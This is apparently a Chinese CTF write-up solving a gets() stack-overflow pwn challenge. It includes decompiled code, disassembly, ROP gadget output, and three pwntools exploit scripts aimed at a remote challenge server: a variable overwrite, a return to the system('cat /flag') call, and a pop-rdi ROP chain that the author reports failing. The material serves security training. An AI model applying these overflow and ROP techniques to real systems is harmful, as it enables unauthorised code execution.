1
2
3
4
5
6
[*] '/mnt/e/work/PWN/nssctf/100/[CISCN 2019华北]PWN1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

ida64

main

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;
}

查看func()

1
2
3
4
5
6
7
8
9
10
11
12
13
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");

对v2进行赋值11.28125 就可以return出flag

v1可以栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-0000000000000030 ; D/A/*   : change type (data/ascii/array)
-0000000000000030 ; N : rename
-0000000000000030 ; U : undefine
-0000000000000030 ; Use data definition commands to create local variables and function arguments.
-0000000000000030 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000030 ; Frame size: 30; Saved regs: 8; Purge: 0
-0000000000000030 ;
-0000000000000030
-0000000000000030 var_30 db 44 dup(?)
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

编写exp1.py

算出v1至v2的偏移量0x30-0x4 算出11.28125的16进制值进行覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
context(
terminal=["wt.exe","wsl"],
os = "linux",
arch = "amd64",
#arch = "i386",
log_level="debug",
)
elf = ELF("./pwn")
#io = process("./pwn")
remote("node4.anna.nssctf.cn",28983)
def debug():
gdb.attach(io)
pause()
debug()
payload = cyclic(0x30-0x4)+p64(0X41348000)
io.sendline(payload)
io.interactive()

exp2.py

寻找后门指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
.text:0000000000400676                               ; =============== S U B R O U T I N E =======================================
.text:0000000000400676
.text:0000000000400676 ; Attributes: bp-based frame
.text:0000000000400676
.text:0000000000400676 ; int func()
.text:0000000000400676 public func
.text:0000000000400676 func proc near ; CODE XREF: main+45↓p
.text:0000000000400676
.text:0000000000400676 var_30= byte ptr -30h
.text:0000000000400676 var_4= dword ptr -4
.text:0000000000400676
.text:0000000000400676 ; __unwind {
.text:0000000000400676 55 push rbp
.text:0000000000400677 48 89 E5 mov rbp, rsp
.text:000000000040067A 48 83 EC 30 sub rsp, 30h
.text:000000000040067E 66 0F EF C0 pxor xmm0, xmm0
.text:0000000000400682 F3 0F 11 45 FC movss [rbp+var_4], xmm0
.text:0000000000400687 BF B4 07 40 00 mov edi, offset s ; "Let's guess the number."
.text:000000000040068C E8 8F FE FF FF call _puts
.text:000000000040068C
.text:0000000000400691 48 8D 45 D0 lea rax, [rbp+var_30]
.text:0000000000400695 48 89 C7 mov rdi, rax
.text:0000000000400698 B8 00 00 00 00 mov eax, 0
.text:000000000040069D E8 AE FE FF FF call _gets
.text:000000000040069D
.text:00000000004006A2 F3 0F 10 45 FC movss xmm0, [rbp+var_4]
.text:00000000004006A7 0F 2E 05 46 01 00 00 ucomiss xmm0, cs:dword_4007F4
.text:00000000004006AE 7A 1F jp short loc_4006CF
.text:00000000004006AE
.text:00000000004006B0 F3 0F 10 45 FC movss xmm0, [rbp+var_4]
.text:00000000004006B5 0F 2E 05 38 01 00 00 ucomiss xmm0, cs:dword_4007F4
.text:00000000004006BC 75 11 jnz short loc_4006CF
.text:00000000004006BC
.text:00000000004006BE BF CC 07 40 00 mov edi, offset command ; "cat /flag"
.text:00000000004006C3 B8 00 00 00 00 mov eax, 0
.text:00000000004006C8 E8 63 FE FF FF call _system
.text:00000000004006C8
.text:00000000004006CD EB 0A jmp short loc_4006D9

可以看到mov edi, offset command 的地址是 0x4006BE

所以构造溢出直接返回该地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
context(
terminal=["wt.exe","wsl"],
os = "linux",
arch = "amd64",
#arch = "i386",
log_level="debug",
)
elf = ELF("./pwn")
#io = process("./pwn")
io = remote("node4.anna.nssctf.cn",28983)
def debug():
gdb.attach(io)
pause()
debug()
payload = cyclic(0x30+0x8)+p64(0X4006BE)
io.sendline(payload)
io.interactive()

exp3?(由于开了NX保护 别想用shellcode了)

ret2shellcode

shift+f12得到.rodata:00000000004007CC 63 61 74 20 2F 66 6C 61 67 00 command db 'cat /flag',0 flagdata=0x4007CC

然后找system函数

1
2
3
4
5
// attributes: thunk
int system(const char *command)
{
return system(command);
}

system_address=0x400530

获取rdi

ROPgadget --binary pwn --only "pop|rdi|ret"

得到rdi_address =0x400793

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Gadgets information
============================================================
0x000000000040078c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040078e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400790 : pop r14 ; pop r15 ; ret
0x0000000000400792 : pop r15 ; ret
0x000000000040078b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040078f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005e0 : pop rbp ; ret
0x0000000000400793 : pop rdi ; ret
0x0000000000400791 : pop rsi ; pop r15 ; ret
0x000000000040078d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400501 : ret

Unique gadgets found: 11
写exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
context(
terminal=["wt.exe","wsl"],
os = "linux",
arch = "amd64",
#arch = "i386",
log_level="debug",
)
elf = ELF("./pwn")
#io = process("./pwn")
io = remote("node4.anna.nssctf.cn",28983)
#def debug():
# gdb.attach(io)
# pause()
#debug()
flag_code = 0x4007CC
rdi_address = 0x400793
system_address = 0x400530
payload = cyclic(0x30+8)+p64(rdi_address)+p64(flag_code)+p64(system_address)
#ROPgadget --binary pwn --only "pop|rdi|ret"
io.sendline(payload)
io.interactive()

不知道为啥打不通 很破防现在